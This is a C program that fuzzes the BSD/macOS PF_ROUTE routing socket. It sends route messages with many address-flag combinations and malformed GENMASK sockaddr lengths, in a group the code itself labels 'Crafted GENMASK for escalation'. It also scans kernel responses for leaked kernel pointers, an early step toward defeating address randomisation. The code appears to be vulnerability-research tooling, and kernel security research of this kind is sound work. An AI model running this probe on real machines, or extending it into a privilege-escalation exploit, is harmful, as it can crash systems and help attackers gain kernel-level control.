#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <sys/socket.h>
#include <net/if.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <signal.h>

#define RTM_VERSION  5
#define RTM_ADD      1
#define RTM_DELETE   2
#define RTM_CHANGE   3
#define RTM_GET      4
#define RTM_LOSING   5
#define RTM_REDIRECT 6
#define RTM_MISS     7
#define RTM_LOCK     8
#define RTM_RESOLVE  11
#define RTM_GET2     20
#define RTM_GET_EXT  21

struct rt_metrics {
    uint32_t rmx_locks, rmx_mtu, rmx_hopcount;
    int32_t rmx_expire;
    uint32_t rmx_recvpipe, rmx_sendpipe, rmx_ssthresh;
    uint32_t rmx_rtt, rmx_rttvar, rmx_pksent, rmx_state;
    uint32_t rmx_filler[3];
};

struct rt_msghdr {
    unsigned short rtm_msglen;
    unsigned char  rtm_version;
    unsigned char  rtm_type;
    unsigned short rtm_index;
    int            rtm_flags;
    int            rtm_addrs;
    int            rtm_pid;
    int            rtm_seq;
    int            rtm_errno;
    int            rtm_use;
    unsigned int   rtm_inits;
    struct rt_metrics rtm_rmx;
};

static int send_route_msg(int type, int addrs, void *sa_buf, int sa_len) {
    int fd = socket(PF_ROUTE, SOCK_RAW, 0);
    if (fd < 0) return -errno;

    char buf[2048];
    memset(buf, 0, sizeof(buf));
    struct rt_msghdr *rtm = (struct rt_msghdr *)buf;
    rtm->rtm_type = type;
    rtm->rtm_version = RTM_VERSION;
    rtm->rtm_seq = 1;
    rtm->rtm_addrs = addrs;
    if (sa_len > 0 && sa_buf)
        memcpy(buf + sizeof(*rtm), sa_buf, sa_len);
    rtm->rtm_msglen = sizeof(*rtm) + sa_len;

    ssize_t s = write(fd, buf, rtm->rtm_msglen);
    int err = (s < 0) ? errno : 0;

    if (s > 0) {
        struct timeval tv = {.tv_sec = 0, .tv_usec = 100000};
        setsockopt(fd, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
        ssize_t r = read(fd, buf, sizeof(buf));
        if (r > 0) {
            struct rt_msghdr *resp = (struct rt_msghdr *)buf;
            printf("  resp: %zd bytes type=%u errno=%d addrs=0x%x", r,
                resp->rtm_type, resp->rtm_errno, resp->rtm_addrs);
            if (r > (ssize_t)sizeof(*rtm) + 16) {
                printf(" payload=");
                for (int i = sizeof(*rtm); i < sizeof(*rtm)+16 && i < r; i++)
                    printf("%02x", (unsigned char)buf[i]);
            }
            printf("\n");
        }
    }

    close(fd);
    return err;
}

int main(int argc, char **argv) {
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGPIPE, SIG_IGN);

    if (argc < 2) {
        printf("Usage: %s <test_group>\n", argv[0]);
        printf("  1 = All 2-flag combos with DST\n");
        printf("  2 = All 3-flag combos with DST\n");
        printf("  3 = RTM types with GENMASK\n");
        printf("  4 = GENMASK with various sockaddr sizes\n");
        printf("  5 = GENMASK with crafted sa_len values\n");
        printf("  6 = Response data leak check\n");
        return 1;
    }
    int group = atoi(argv[1]);

    struct sockaddr_in sin_dst, sin_extra;
    memset(&sin_dst, 0, sizeof(sin_dst));
    sin_dst.sin_family = AF_INET;
    sin_dst.sin_len = sizeof(sin_dst);
    sin_dst.sin_addr.s_addr = inet_addr("8.8.8.8");

    memset(&sin_extra, 0, sizeof(sin_extra));
    sin_extra.sin_family = AF_INET;
    sin_extra.sin_len = sizeof(sin_extra);
    sin_extra.sin_addr.s_addr = inet_addr("255.255.255.0");

    switch (group) {
    case 1: {
        printf("=== All 2-flag combos with DST ===\n");
        const char *names[] = {"GW","MASK","GENMASK","IFP","IFA","AUTHOR","BRD"};
        int flags[] = {0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80};
        for (int i = 0; i < 7; i++) {
            char sa[32]; int off = 0;
            memcpy(sa+off, &sin_dst, sizeof(sin_dst)); off += sizeof(sin_dst);
            memcpy(sa+off, &sin_extra, sizeof(sin_extra)); off += sizeof(sin_extra);
            printf("DST+%s (0x%02x): ", names[i], 0x01|flags[i]);
            int e = send_route_msg(RTM_GET, 0x01|flags[i], sa, off);
            if (e) printf("  err=%d\n", e);
        }
        break;
    }
    case 2: {
        printf("=== 3-flag combos with DST ===\n");
        int flags[] = {0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80};
        for (int i = 0; i < 7; i++) {
            for (int j = i+1; j < 7; j++) {
                int combo = 0x01 | flags[i] | flags[j];
                int count = 3;
                char sa[128]; int off = 0;
                for (int k = 0; k < count; k++) {
                    memcpy(sa+off, &sin_dst, sizeof(sin_dst));
                    off += sizeof(sin_dst);
                }
                printf("0x%02x: ", combo);
                int e = send_route_msg(RTM_GET, combo, sa, off);
                if (e) printf("  err=%d\n", e);
            }
        }
        break;
    }
    case 3: {
        printf("=== RTM types with DST+GENMASK ===\n");
        char sa[32]; int off = 0;
        memcpy(sa+off, &sin_dst, sizeof(sin_dst)); off += sizeof(sin_dst);
        memcpy(sa+off, &sin_extra, sizeof(sin_extra)); off += sizeof(sin_extra);
        int types[] = {RTM_GET, RTM_GET2, RTM_GET_EXT, RTM_CHANGE, RTM_LOCK, RTM_RESOLVE};
        const char *tnames[] = {"GET","GET2","GET_EXT","CHANGE","LOCK","RESOLVE"};
        for (int i = 0; i < 6; i++) {
            printf("RTM_%s + GENMASK: ", tnames[i]);
            int e = send_route_msg(types[i], 0x09, sa, off);
            if (e) printf("  err=%d\n", e);
        }
        break;
    }
    case 4: {
        printf("=== GENMASK with various sockaddr sizes ===\n");
        int lens[] = {4, 8, 16, 28, 32, 64, 128, 255};
        for (int i = 0; i < 8; i++) {
            char sa[512]; memset(sa, 0, sizeof(sa));
            memcpy(sa, &sin_dst, sizeof(sin_dst));
            int off = sizeof(sin_dst);
            sa[off] = lens[i];
            sa[off+1] = AF_INET;
            off += (lens[i] + 3) & ~3;
            printf("GENMASK sa_len=%d: ", lens[i]);
            int e = send_route_msg(RTM_GET, 0x09, sa, off > 512 ? 512 : off);
            if (e) printf("  err=%d\n", e);
        }
        break;
    }
    case 5: {
        printf("=== Crafted GENMASK for escalation ===\n");
        for (int sa_len = 1; sa_len <= 128; sa_len++) {
            char sa[512]; memset(sa, 0x41, sizeof(sa));
            memcpy(sa, &sin_dst, sizeof(sin_dst));
            int off = sizeof(sin_dst);
            memset(sa+off, 0, 256);
            sa[off] = sa_len;
            sa[off+1] = AF_INET;
            for (int b = 2; b < sa_len && b < 256; b++)
                sa[off+b] = 0xFF;
            int padded = (sa_len + 3) & ~3;
            if (padded < 4) padded = 4;
            printf("gm_len=%d: ", sa_len);
            int e = send_route_msg(RTM_GET, 0x09, sa, sizeof(sin_dst) + padded);
            if (e) printf("  err=%d\n", e);
        }
        break;
    }
    case 6: {
        printf("=== Response data leak check ===\n");
        printf("Sending RTM_GET DST-only, checking response for kernel data\n");
        int fd = socket(PF_ROUTE, SOCK_RAW, 0);
        char buf[4096]; memset(buf, 0, sizeof(buf));
        struct rt_msghdr *rtm = (struct rt_msghdr *)buf;
        rtm->rtm_type = RTM_GET;
        rtm->rtm_version = RTM_VERSION;
        rtm->rtm_seq = 1;
        rtm->rtm_addrs = 0x01;
        memcpy(buf + sizeof(*rtm), &sin_dst, sizeof(sin_dst));
        rtm->rtm_msglen = sizeof(*rtm) + sizeof(sin_dst);
        write(fd, buf, rtm->rtm_msglen);
        memset(buf, 0xCC, sizeof(buf));
        ssize_t r = read(fd, buf, sizeof(buf));
        printf("Response: %zd bytes\n", r);
        if (r > 0) {
            int nonzero_after_addrs = 0;
            for (int i = (int)r - 32; i < (int)r; i++) {
                if (i >= 0 && (unsigned char)buf[i] != 0)
                    nonzero_after_addrs++;
            }
            printf("Last 32 bytes nonzero count: %d\n", nonzero_after_addrs);
            printf("Full response hex:\n");
            for (int i = 0; i < r && i < 256; i++) {
                printf("%02x", (unsigned char)buf[i]);
                if ((i+1) % 32 == 0) printf("\n");
            }
            printf("\n");
            int kptr_candidates = 0;
            for (int i = 0; i + 7 < r; i += 4) {
                uint64_t val = *(uint64_t*)(buf + i);
                if ((val >> 40) == 0xffffff || (val >> 40) == 0xfffffe) {
                    printf("POSSIBLE KPTR at offset %d: 0x%016llx\n", i, val);
                    kptr_candidates++;
                }
            }
            if (kptr_candidates == 0) printf("No kernel pointers found\n");
        }
        close(fd);
        break;
    }
    }

    printf("\nSURVIVED\n");
    return 0;
}
